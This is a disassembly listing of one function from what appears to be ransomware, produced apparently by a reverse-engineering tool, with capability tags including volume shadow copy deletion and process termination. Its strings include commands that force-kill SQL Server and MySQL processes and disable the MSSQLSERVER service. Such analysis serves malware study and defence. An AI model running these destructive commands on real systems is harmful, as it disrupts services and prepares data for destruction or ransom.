Function at 0x14000a440
Capabilities:
Check if file exists
Delete file
Delete volume shadow copies
Terminate process
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xef0]
sub rsp, 0xff0
mov rax, qword [0x140057010]
xor rax, rsp
mov qword [rbp + 0xee0], rax
xor r15d, r15d
mov dword [rbp - 0x38], r15d
lea rbx, vtable.CVolCommonBaseWithMemManager.0
mov qword [rbp + 0x570], rbx
lea r12, vtable.CVolObject.0
mov qword [rbp + 0x570], r12
mov qword [rbp + 0x578], r15
mov qword [rbp + 0x580], r15
lea r8, vtable.rg_n1::rg_n2366.0
mov qword [rbp + 0x570], r8
lea rdx, vtable.rg_n1::rg_n1941.0
mov qword [rbp + 0x570], rdx
lea rax, [rbp + 0x588]
mov qword [rbp + 0x290], rax
mov qword [rbp + 0x588], rbx
lea rcx, vtable.CMStringArray.0
mov qword [rbp + 0x588], rcx
lea rax, [rbp + 0x590]
mov qword [rbp + 0x678], rax
mov qword [rbp + 0x590], rbx
mov qword [rbp + 0x590], r12
mov qword [rbp + 0x598], r15
mov qword [rbp + 0x5a0], r15
lea r13, vtable.CVolMem.0
mov qword [rbp + 0x590], r13
mov qword [rbp + 0x5a8], r15
mov qword [rbp + 0x5b8], r15
mov qword [rbp + 0x5b0], r15
mov qword [rbp + 0x5c0], 0x40
mov qword [rbp + 0x5c0], 0x100
mov qword [rbp + 0x810], rbx
mov qword [rbp + 0x810], r12
mov qword [rbp + 0x818], r15
mov qword [rbp + 0x820], r15
mov qword [rbp + 0x810], r8
mov qword [rbp + 0x810], rdx
lea rax, [rbp + 0x828]
mov qword [rbp + 0x158], rax
mov qword [rbp + 0x828], rbx
mov qword [rbp + 0x828], rcx
lea rax, [rbp + 0x830]
mov qword [rbp + 0x150], rax
mov qword [rbp + 0x830], rbx
mov qword [rbp + 0x830], r12
mov qword [rbp + 0x838], r15
mov qword [rbp + 0x840], r15
mov qword [rbp + 0x830], r13
mov qword [rbp + 0x848], r15
mov qword [rbp + 0x858], r15
mov qword [rbp + 0x850], r15
mov qword [rbp + 0x860], 0x40
mov qword [rbp + 0x860], 0x100
mov qword [rbp + 0x680], rbx
mov qword [rbp + 0x680], r12
mov qword [rbp + 0x688], r15
mov qword [rbp + 0x690], r15
lea rdi, vtable.CWString.0
mov qword [rbp + 0x680], rdi
lea rax, [rbp + 0x6a0]
mov qword [rbp - 0x40], rax
mov qword [rbp + 0x6a0], rbx
mov qword [rbp + 0x6a0], r12
mov qword [rbp + 0x6a8], r15
mov qword [rbp + 0x6b0], r15
mov qword [rbp + 0x6a0], r13
mov qword [rbp + 0x6b8], r15
mov qword [rbp + 0x6c8], r15
mov qword [rbp + 0x6c0], r15
mov qword [rbp + 0x6d0], 0x40
mov qword [rbp + 0x698], r15
mov qword [rbp + 0x6d0], 0xfe
mov qword [rbp + 0x230], rbx
mov qword [rbp + 0x230], r12
mov qword [rbp + 0x238], r15
mov qword [rbp + 0x240], r15
mov qword [rbp + 0x230], rdi
lea rax, [rbp + 0x250]
mov qword [rbp + 0x3d0], rax
mov qword [rbp + 0x250], rbx
mov qword [rbp + 0x250], r12
mov qword [rbp + 0x258], r15
mov qword [rbp + 0x260], r15
mov qword [rbp + 0x250], r13
mov qword [rbp + 0x268], r15
mov qword [rbp + 0x278], r15
mov qword [rbp + 0x270], r15
mov qword [rbp + 0x280], 0x40
mov qword [rbp + 0x248], r15
mov qword [rbp + 0x280], 0xfe
mov qword [rbp + 0x870], rbx
mov qword [rbp + 0x870], r12
mov qword [rbp + 0x878], r15
mov qword [rbp + 0x880], r15
mov qword [rbp + 0x870], rdi
lea rax, [rbp + 0x890]
mov qword [rbp + 0x160], rax
mov qword [rbp + 0x890], rbx
mov qword [rbp + 0x890], r12
mov qword [rbp + 0x898], r15
mov qword [rbp + 0x8a0], r15
mov qword [rbp + 0x890], r13
mov qword [rbp + 0x8a8], r15
mov qword [rbp + 0x8b8], r15
mov qword [rbp + 0x8b0], r15
mov qword [rbp + 0x8c0], 0x40
mov qword [rbp + 0x888], r15
mov qword [rbp + 0x8c0], 0xfe
mov qword [rbp + 0x510], rbx
mov qword [rbp + 0x510], r12
mov qword [rbp + 0x518], r15
mov qword [rbp + 0x520], r15
mov qword [rbp + 0x510], rdi
lea rax, [rbp + 0x530]
mov qword [rbp + 0x968], rax
mov qword [rbp + 0x530], rbx
mov qword [rbp + 0x530], r12
mov qword [rbp + 0x538], r15
mov qword [rbp + 0x540], r15
mov qword [rbp + 0x530], r13
mov qword [rbp + 0x548], r15
mov qword [rbp + 0x558], r15
mov qword [rbp + 0x550], r15
mov qword [rbp + 0x560], 0x40
mov qword [rbp + 0x528], r15
mov qword [rbp + 0x560], 0xfe
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
call fcn.140027d64
mov qword [rbp + 0x468], rbx
mov qword [rbp + 0x468], r12
mov qword [rbp + 0x470], r15
mov qword [rbp + 0x478], r15
mov qword [rbp + 0x468], r13
mov qword [rbp + 0x480], r15
mov qword [rbp + 0x490], r15
mov qword [rbp + 0x488], r15
mov qword [rbp + 0x498], 0x40
mov qword [rbp + 0x3d8], rbx
mov qword [rbp + 0x3d8], r12
mov qword [rbp + 0x3e0], r15
mov qword [rbp + 0x3e8], r15
mov qword [rbp + 0x3d8], r13
mov qword [rbp + 0x3f0], r15
mov qword [rbp + 0x400], r15
mov qword [rbp + 0x3f8], r15
mov qword [rbp + 0x408], 0x40
mov qword [rbp + 0x4d8], rbx
mov qword [rbp + 0x4d8], r12
mov qword [rbp + 0x4e0], r15
mov qword [rbp + 0x4e8], r15
mov qword [rbp + 0x4d8], r13
mov qword [rbp + 0x4f0], r15
mov qword [rbp + 0x500], r15
mov qword [rbp + 0x4f8], r15
mov qword [rbp + 0x508], 0x40
mov qword [rbp + 0x398], rbx
mov qword [rbp + 0x398], r12
mov qword [rbp + 0x3a0], r15
mov qword [rbp + 0x3a8], r15
mov qword [rbp + 0x398], r13
mov qword [rbp + 0x3b0], r15
mov qword [rbp + 0x3c0], r15
mov qword [rbp + 0x3b8], r15
mov qword [rbp + 0x3c8], 0x40
mov qword [rbp + 0x740], rbx
mov qword [rbp + 0x740], r12
mov qword [rbp + 0x748], r15
mov qword [rbp + 0x750], r15
mov qword [rbp + 0x740], rdi
lea rax, [rbp + 0x760]
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x760], rbx
mov qword [rbp + 0x760], r12
mov qword [rbp + 0x768], r15
mov qword [rbp + 0x770], r15
mov qword [rbp + 0x760], r13
mov qword [rbp + 0x778], r15
mov qword [rbp + 0x788], r15
mov qword [rbp + 0x780], r15
mov qword [rbp + 0x790], 0x40
mov qword [rbp + 0x758], r15
mov qword [rbp + 0x790], 0xfe
mov qword [rbp + 0x4a0], rbx
mov qword [rbp + 0x4a0], r12
mov qword [rbp + 0x4a8], r15
mov qword [rbp + 0x4b0], r15
mov qword [rbp + 0x4a0], r13
mov qword [rbp + 0x4b8], r15
mov qword [rbp + 0x4c8], r15
mov qword [rbp + 0x4c0], r15
mov qword [rbp + 0x4d0], 0x40
mov qword [rbp + 0x360], rbx
mov qword [rbp + 0x360], r12
mov qword [rbp + 0x368], r15
mov qword [rbp + 0x370], r15
mov qword [rbp + 0x360], r13
mov qword [rbp + 0x378], r15
mov qword [rbp + 0x388], r15
mov qword [rbp + 0x380], r15
mov qword [rbp + 0x390], 0x40
mov r14d, r15d
mov dword [rbp + 0x160], r15d
mov qword [rbp + 0x2d0], rbx
mov qword [rbp + 0x2d0], r12
mov qword [rbp + 0x2d8], r15
mov qword [rbp + 0x2e0], r15
mov qword [rbp + 0x2d0], r13
mov qword [rbp + 0x2e8], r15
mov qword [rbp + 0x2f8], r15
mov qword [rbp + 0x2f0], r15
mov qword [rbp + 0x300], 0x40
lea edx, [r15 + 3]
lea r8d, [r15 + 4]
lea rcx, [rbp + 0x308]
call fcn.140008510
mov rsi, rax
lea edx, [r15 + 3]
lea r8d, [r15 + 8]
lea rcx, [rbp + 0x30]
call fcn.140008510
mov rdi, rax
lea edx, [r15 + 5]
lea r8d, [r15 + 2]
lea rcx, [rbp + 0x410]
call fcn.140008510
mov rbx, rax
lea edx, [r15 + 5]
lea r8d, [r15 + 1]
lea rcx, [rbp - 0x30]
call fcn.140008510
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x68]
call fcn.140020420
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x1d8]
call fcn.140020420
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0x88]
call fcn.140020420
mov rbx, rax
lea rcx, [rbp + 0x510]
mov rdx, qword [rbp + 0x510]
call qword [rdx + 0x88]
mov rcx, qword [rbx + 8]
mov qword [rbp + 0x518], rcx
mov rcx, qword [rbx + 0x10]
mov qword [rbp + 0x520], rcx
mov rcx, qword [rbx + 0x18]
mov qword [rbp + 0x528], rcx
lea rcx, [rbp + 0x530]
mov rdx, qword [rbp + 0x530]
call qword [rdx + 0x88]
lea rdx, [rbx + 0x20]
lea rcx, [rbp + 0x530]
call fcn.140004ca0
nop
lea rax, [rbp + 0xa8]
mov qword [rsp + 0x60], rax
mov qword [rbp + 0xa8], r13
mov rdx, qword [rbp + 0xc0]
test rdx, rdx
je 0x14000ab8b
lea rcx, [rbp + 0xa8]
call qword [method.CWString.virtual_24]
mov qword [rbp + 0xc0], r15
mov qword [rbp + 0xd0], r15
mov qword [rbp + 0xc8], r15
mov qword [rbp + 0xa8], r12
mov qword [rbp + 0x88], r12
lea rax, [rbp + 0x1f8]
mov qword [rsp + 0x60], rax
mov qword [rbp + 0x1f8], r13
mov rdx, qword [rbp + 0x210]
test rdx, rdx
je 0x14000abda
lea rcx, [rbp + 0x1f8]
call qword [method.CWString.virtual_24]
mov qword [rbp + 0x210], r15
mov qword [rbp + 0x220], r15
mov qword [rbp + 0x218], r15
mov qword [rbp + 0x1f8], r12
mov qword [rbp + 0x1d8], r12
lea rax, [rbp - 0x78]
mov qword [rsp + 0x60], rax
mov qword [rbp - 0x78], r13
mov rdx, qword [rbp - 0x60]
test rdx, rdx
je 0x14000ac1d
lea rcx, [rbp - 0x78]
call qword [method.CWString.virtual_24]
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x78], r12
mov qword [rsp + 0x68], r12
lea rax, [rbp - 0x10]
mov qword [rsp + 0x60], rax
mov qword [rbp - 0x10], r13
mov rdx, qword [rbp + 8]
test rdx, rdx
je 0x14000ac52
lea rcx, [rbp - 0x10]
call qword [method.CWString.virtual_24]
mov qword [rbp + 8], r15
mov qword [rbp + 0x18], r15
mov qword [rbp + 0x10], r15
mov qword [rbp - 0x10], r12
mov qword [rbp - 0x30], r12
lea rax, [rbp + 0x430]
mov qword [rsp + 0x60], rax
mov qword [rbp + 0x430], r13
mov rdx, qword [rbp + 0x448]
test rdx, rdx
je 0x14000ac92
lea rcx, [rbp + 0x430]
call qword [method.CWString.virtual_24]
mov qword [rbp + 0x448], r15
mov qword [rbp + 0x458], r15
mov qword [rbp + 0x450], r15
mov qword [rbp + 0x430], r12
mov qword [rbp + 0x410], r12
lea rax, [rbp + 0x50]
mov qword [rsp + 0x60], rax
mov qword [rbp + 0x50], r13
mov rdx, qword [rbp + 0x68]
test rdx, rdx
je 0x14000acd5
lea rcx, [rbp + 0x50]
call qword [method.CWString.virtual_24]
mov qword [rbp + 0x68], r15
mov qword [rbp + 0x78], r15
mov qword [rbp + 0x70], r15
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x30], r12
lea rax, [rbp + 0x328]
mov qword [rsp + 0x60], rax
mov qword [rbp + 0x328], r13
mov rdx, qword [rbp + 0x340]
test rdx, rdx
je 0x14000ad15
lea rcx, [rbp + 0x328]
call qword [method.CWString.virtual_24]
mov qword [rbp + 0x340], r15
mov qword [rbp + 0x350], r15
mov qword [rbp + 0x348], r15
mov qword [rbp + 0x328], r12
mov qword [rbp + 0x308], r12
lea rsi, vtable.CVolCommonBaseWithMemManager.0
mov qword [rbp + 0x6e0], rsi
mov qword [rbp + 0x6e0], r12
mov qword [rbp + 0x6e8], r15
mov qword [rbp + 0x6f0], r15
lea rbx, vtable.CWString.0
mov qword [rbp + 0x6e0], rbx
lea rax, [rbp + 0x700]
mov qword [rsp + 0x60], rax
mov qword [rbp + 0x700], rsi
mov qword [rbp + 0x700], r12
mov qword [rbp + 0x708], r15
mov qword [rbp + 0x710], r15
mov qword [rbp + 0x700], r13
mov qword [rbp + 0x718], r15
mov qword [rbp + 0x728], r15
mov qword [rbp + 0x720], r15
mov qword [rbp + 0x730], 0x40
mov qword [rbp + 0x6f8], r15
mov qword [rbp + 0x730], 0xfe
mov qword [rbp + 0x8d0], rsi
mov qword [rbp + 0x8d0], r12
mov qword [rbp + 0x8d8], r15
mov qword [rbp + 0x8e0], r15
mov qword [rbp + 0x8d0], rbx
lea rax, [rbp + 0x8f0]
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x8f0], rsi
mov qword [rbp + 0x8f0], r12
mov qword [rbp + 0x8f8], r15
mov qword [rbp + 0x900], r15
mov qword [rbp + 0x8f0], r13
mov qword [rbp + 0x908], r15
mov qword [rbp + 0x918], r15
mov qword [rbp + 0x910], r15
mov qword [rbp + 0x920], 0x40
mov qword [rbp + 0x8e8], r15
mov qword [rbp + 0x920], 0xfe
mov qword [rbp + 0xe0], rsi
mov qword [rbp + 0xe0], r12
mov qword [rbp + 0xe8], r15
mov qword [rbp + 0xf0], r15
mov qword [rbp + 0xe0], r13
mov qword [rbp + 0xf8], r15
mov qword [rbp + 0x108], r15
mov qword [rbp + 0x100], r15
mov qword [rbp + 0x110], 0x40
mov qword [rbp + 0x298], rsi
mov qword [rbp + 0x298], r12
mov qword [rbp + 0x2a0], r15
mov qword [rbp + 0x2a8], r15
mov qword [rbp + 0x298], r13
mov qword [rbp + 0x2b0], r15
mov qword [rbp + 0x2c0], r15
mov qword [rbp + 0x2b8], r15
mov qword [rbp + 0x2c8], 0x40
mov edi, 4
mov rax, qword gs:[0x58]
add rdi, qword [rax]
mov eax, dword [rdi]
cmp dword [0x14005be20], eax
jg 0x14000eaf9
mov eax, dword [rdi]
cmp dword [0x14005be88], eax
jg 0x14000ec0c
mov eax, dword [rdi]
cmp dword [0x14005bee8], eax
jg 0x14000ed18
mov eax, dword [rdi]
cmp dword [0x14005bf48], eax
jg 0x14000ee0c
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r15
lea rbx, vtable.CWString.0
mov qword [rsp + 0x68], rbx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x60], rax
mov qword [rbp - 0x78], rsi
mov qword [rbp - 0x78], r12
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], r15
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x48], 0x40
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x48], 0xfe
lea rdi, vtable.CWConstString.0
mov qword [rsp + 0x68], rdi
lea rax, [0x1400491d0]
mov qword [rbp - 0x80], rax
lea rcx, [rbp + 0x1d8]
call fcn.140008940
nop
lea r8, str.sssdddffrt56uha
mov rdx, rax
lea rcx, [rbp + 0x88]
call fcn.1400205d0
nop
mov rcx, rax
call fcn.1400082d0
nop
lea rax, [rbp + 0xa8]
mov qword [rbp + 0x28], rax
mov qword [rbp + 0xa8], r13
mov rdx, qword [rbp + 0xc0]
test rdx, rdx
je 0x14000afe8
lea rcx, [rbp + 0xa8]
call qword [method.CWString.virtual_24]
mov qword [rbp + 0xc0], r15
mov qword [rbp + 0xd0], r15
mov qword [rbp + 0xc8], r15
mov qword [rbp + 0xa8], r12
mov qword [rbp + 0x88], r12
lea rax, [rbp + 0x1f8]
mov qword [rsp + 0x60], rax
mov qword [rbp + 0x1f8], r13
mov rdx, qword [rbp + 0x210]
test rdx, rdx
je 0x14000b037
lea rcx, [rbp + 0x1f8]
call qword [method.CWString.virtual_24]
mov qword [rbp + 0x210], r15
mov qword [rbp + 0x220], r15
mov qword [rbp + 0x218], r15
mov qword [rbp + 0x1f8], r12
mov qword [rbp + 0x1d8], r12
lea rax, [rbp - 0x78]
mov qword [rsp + 0x60], rax
mov qword [rbp - 0x78], r13
mov rdx, qword [rbp - 0x60]
test rdx, rdx
je 0x14000b07a
lea rcx, [rbp - 0x78]
call qword [method.CWString.virtual_24]
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x78], r12
mov qword [rsp + 0x68], r12
mov qword [rbp + 0x30], rsi
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], r15
mov qword [rbp + 0x40], r15
mov qword [rbp + 0x30], rbx
lea rax, [rbp + 0x50]
mov qword [rsp + 0x60], rax
mov qword [rbp + 0x50], rsi
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x58], r15
mov qword [rbp + 0x60], r15
mov qword [rbp + 0x50], r13
mov qword [rbp + 0x68], r15
mov qword [rbp + 0x78], r15
mov qword [rbp + 0x70], r15
mov qword [rbp + 0x80], 0x40
mov qword [rbp + 0x48], r15
mov qword [rbp + 0x80], 0xfe
mov qword [rbp + 0x30], rdi
lea rax, str.C:UsersPublic_app.txt
mov qword [rbp + 0x48], rax
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x68], rbx
lea rax, [rbp - 0x78]
mov qword [rbp + 0x28], rax
mov qword [rbp - 0x78], rsi
mov qword [rbp - 0x78], r12
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], r15
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x48], 0x40
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x48], 0xfe
mov qword [rsp + 0x68], rdi
lea rax, [0x140049210]
mov qword [rbp - 0x80], rax
mov qword [rbp + 0x168], rsi
mov qword [rbp + 0x168], r12
mov qword [rbp + 0x170], r15
mov qword [rbp + 0x178], r15
mov qword [rbp + 0x168], r13
mov qword [rbp + 0x180], r15
mov qword [rbp + 0x190], r15
mov qword [rbp + 0x188], r15
mov qword [rbp + 0x198], 0x40
mov qword [rbp + 0x168], r13
lea rdi, [0x140047278]
mov rdx, rdi
mov rax, qword [rbp - 0x80]
test rax, rax
cmovne rdx, rax
lea rcx, [rbp + 0x168]
call fcn.14001e590
nop
mov rax, qword [rbp + 0x48]
test rax, rax
jne 0x14000b1dc
mov rax, rdi
cmp qword [rbp + 0x78], 0
cmovne rax, qword [rbp + 0x68]
mov rdx, rax
lea rcx, [rbp + 0x168]
call fcn.14001e680
nop
mov qword [rbp + 0x168], r13
mov rdx, qword [rbp + 0x180]
test rdx, rdx
je 0x14000b210
lea rcx, [rbp + 0x168]
mov rax, qword [rbp + 0x168]
call qword [rax + 0x18]
mov qword [rbp + 0x180], r15
mov qword [rbp + 0x190], r15
mov qword [rbp + 0x188], r15
mov qword [rbp + 0x168], r12
lea rax, [rbp - 0x78]
mov qword [rsp + 0x60], rax
mov qword [rbp - 0x78], r13
mov rdx, qword [rbp - 0x60]
test rdx, rdx
je 0x14000b24c
lea rcx, [rbp - 0x78]
call qword [method.CWString.virtual_24]
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x78], r12
mov qword [rsp + 0x68], r12
lea rax, [rbp + 0x50]
mov qword [rsp + 0x60], rax
mov qword [rbp + 0x50], r13
mov rdx, qword [rbp + 0x68]
test rdx, rdx
je 0x14000b281
lea rcx, [rbp + 0x50]
call qword [method.CWString.virtual_24]
mov qword [rbp + 0x68], r15
mov qword [rbp + 0x78], r15
mov qword [rbp + 0x70], r15
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x30], r12
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x28], r15
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x30], rbx
lea rax, [rbp - 0x10]
mov qword [rsp + 0x60], rax
mov qword [rbp - 0x10], rsi
mov qword [rbp - 0x10], r12
mov qword [rbp - 8], r15
mov qword [rbp], r15
mov qword [rbp - 0x10], r13
mov qword [rbp + 8], r15
mov qword [rbp + 0x18], r15
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x20], 0x40
mov qword [rbp - 0x18], r15
mov qword [rbp + 0x20], 0xfe
lea rax, vtable.CWConstString.0
mov qword [rbp - 0x30], rax
lea rax, str.C:UsersPublicjg.txt
mov qword [rbp - 0x18], rax
mov rcx, rdi
mov rax, qword [rbp - 0x18]
test rax, rax
cmovne rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
cmp eax, 1
sete bl
lea rax, [rbp - 0x10]
mov qword [rbp + 0x28], rax
mov qword [rbp - 0x10], r13
mov rdx, qword [rbp + 8]
test rdx, rdx
je 0x14000b335
lea rcx, [rbp - 0x10]
call qword [method.CWString.virtual_24]
mov qword [rbp + 8], r15
mov qword [rbp + 0x18], r15
mov qword [rbp + 0x10], r15
mov qword [rbp - 0x10], r12
mov qword [rbp - 0x30], r12
test bl, bl
je 0x14000b420
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
movups xmm0, xmmword [rax]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rdx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
je 0x14000ea8a
jmp 0x14000b360
movups xmm0, xmmword [r8]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [r8 + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [r8 + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [r8 + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [r8 + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [r8 + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [r8 + 0x60]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm1, xmmword [r8 + 0x70]
movups xmmword [rdx - 0x10], xmm1
lea r8, [r8 + 0x80]
sub rax, 1
je 0x14000eaa8
jmp 0x14000b3c0
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r15
lea rbx, vtable.CWString.0
mov qword [rsp + 0x68], rbx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x60], rax
mov qword [rbp - 0x78], rsi
mov qword [rbp - 0x78], r12
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], r15
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x48], 0x40
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x48], 0xfe
lea rax, vtable.CWConstString.0
mov qword [rsp + 0x68], rax
lea rax, str.sc_config_MSSQLSERVER_start_disabled
mov qword [rbp - 0x80], rax
mov rcx, rdi
mov rax, qword [rbp - 0x80]
test rax, rax
cmovne rcx, rax
call fcn.14001d270
nop
lea rax, [rbp - 0x78]
mov qword [rbp + 0x28], rax
mov qword [rbp - 0x78], r13
mov rdx, qword [rbp - 0x60]
test rdx, rdx
je 0x14000b4c7
lea rcx, [rbp - 0x78]
call qword [method.CWString.virtual_24]
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x78], r12
mov qword [rsp + 0x68], r12
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x28], r15
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x30], rbx
lea rax, [rbp - 0x10]
mov qword [rsp + 0x60], rax
mov qword [rbp - 0x10], rsi
mov qword [rbp - 0x10], r12
mov qword [rbp - 8], r15
mov qword [rbp], r15
mov qword [rbp - 0x10], r13
mov qword [rbp + 8], r15
mov qword [rbp + 0x18], r15
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x20], 0x40
mov qword [rbp - 0x18], r15
mov qword [rbp + 0x20], 0xfe
lea rax, vtable.CWConstString.0
mov qword [rbp - 0x30], rax
lea rax, str.taskkill__f__im_sqlservr.exe
mov qword [rbp - 0x18], rax
mov rcx, rdi
mov rax, qword [rbp - 0x18]
test rax, rax
cmovne rcx, rax
call fcn.14001d270
nop
lea rax, [rbp - 0x10]
mov qword [rbp + 0x28], rax
mov qword [rbp - 0x10], r13
mov rdx, qword [rbp + 8]
test rdx, rdx
je 0x14000b576
lea rcx, [rbp - 0x10]
call qword [method.CWString.virtual_24]
mov qword [rbp + 8], r15
mov qword [rbp + 0x18], r15
mov qword [rbp + 0x10], r15
mov qword [rbp - 0x10], r12
mov qword [rbp - 0x30], r12
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x68], rbx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x60], rax
mov qword [rbp - 0x78], rsi
mov qword [rbp - 0x78], r12
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], r15
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x48], 0x40
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x48], 0xfe
lea rax, vtable.CWConstString.0
mov qword [rsp + 0x68], rax
lea rax, str.taskkill__f__im_sqlservr.exe
mov qword [rbp - 0x80], rax
mov rcx, rdi
mov rax, qword [rbp - 0x80]
test rax, rax
cmovne rcx, rax
call fcn.14001d270
nop
lea rax, [rbp - 0x78]
mov qword [rbp + 0x28], rax
mov qword [rbp - 0x78], r13
mov rdx, qword [rbp - 0x60]
test rdx, rdx
je 0x14000b62a
lea rcx, [rbp - 0x78]
call qword [method.CWString.virtual_24]
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x78], r12
mov qword [rsp + 0x68], r12
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x28], r15
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x30], rbx
lea rax, [rbp - 0x10]
mov qword [rsp + 0x60], rax
mov qword [rbp - 0x10], rsi
mov qword [rbp - 0x10], r12
mov qword [rbp - 8], r15
mov qword [rbp], r15
mov qword [rbp - 0x10], r13
mov qword [rbp + 8], r15
mov qword [rbp + 0x18], r15
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x20], 0x40
mov qword [rbp - 0x18], r15
mov qword [rbp + 0x20], 0xfe
lea rax, vtable.CWConstString.0
mov qword [rbp - 0x30], rax
lea rax, str.taskkill__f__im_sqlservr.exe
mov qword [rbp - 0x18], rax
mov rcx, rdi
mov rax, qword [rbp - 0x18]
test rax, rax
cmovne rcx, rax
call fcn.14001d270
nop
lea rax, [rbp - 0x10]
mov qword [rbp + 0x28], rax
mov qword [rbp - 0x10], r13
mov rdx, qword [rbp + 8]
test rdx, rdx
je 0x14000b6d9
lea rcx, [rbp - 0x10]
call qword [method.CWString.virtual_24]
mov qword [rbp + 8], r15
mov qword [rbp + 0x18], r15
mov qword [rbp + 0x10], r15
mov qword [rbp - 0x10], r12
mov qword [rbp - 0x30], r12
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x68], rbx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x60], rax
mov qword [rbp - 0x78], rsi
mov qword [rbp - 0x78], r12
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], r15
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x48], 0x40
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x48], 0xfe
lea rax, vtable.CWConstString.0
mov qword [rsp + 0x68], rax
lea rax, str.taskkill__f__im_mysqld.exe
mov qword [rbp - 0x80], rax
mov rcx, rdi
mov rax, qword [rbp - 0x80]
test rax, rax
cmovne rcx, rax
call fcn.14001d270
nop
lea rax, [rbp - 0x78]
mov qword [rbp + 0x28], rax
mov qword [rbp - 0x78], r13
mov rdx, qword [rbp - 0x60]
test rdx, rdx
je 0x14000b78d
lea rcx, [rbp - 0x78]
call qword [method.CWString.virtual_24]
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x78], r12
mov qword [rsp + 0x68], r12
mov qword [rbp - 0x30], rsi
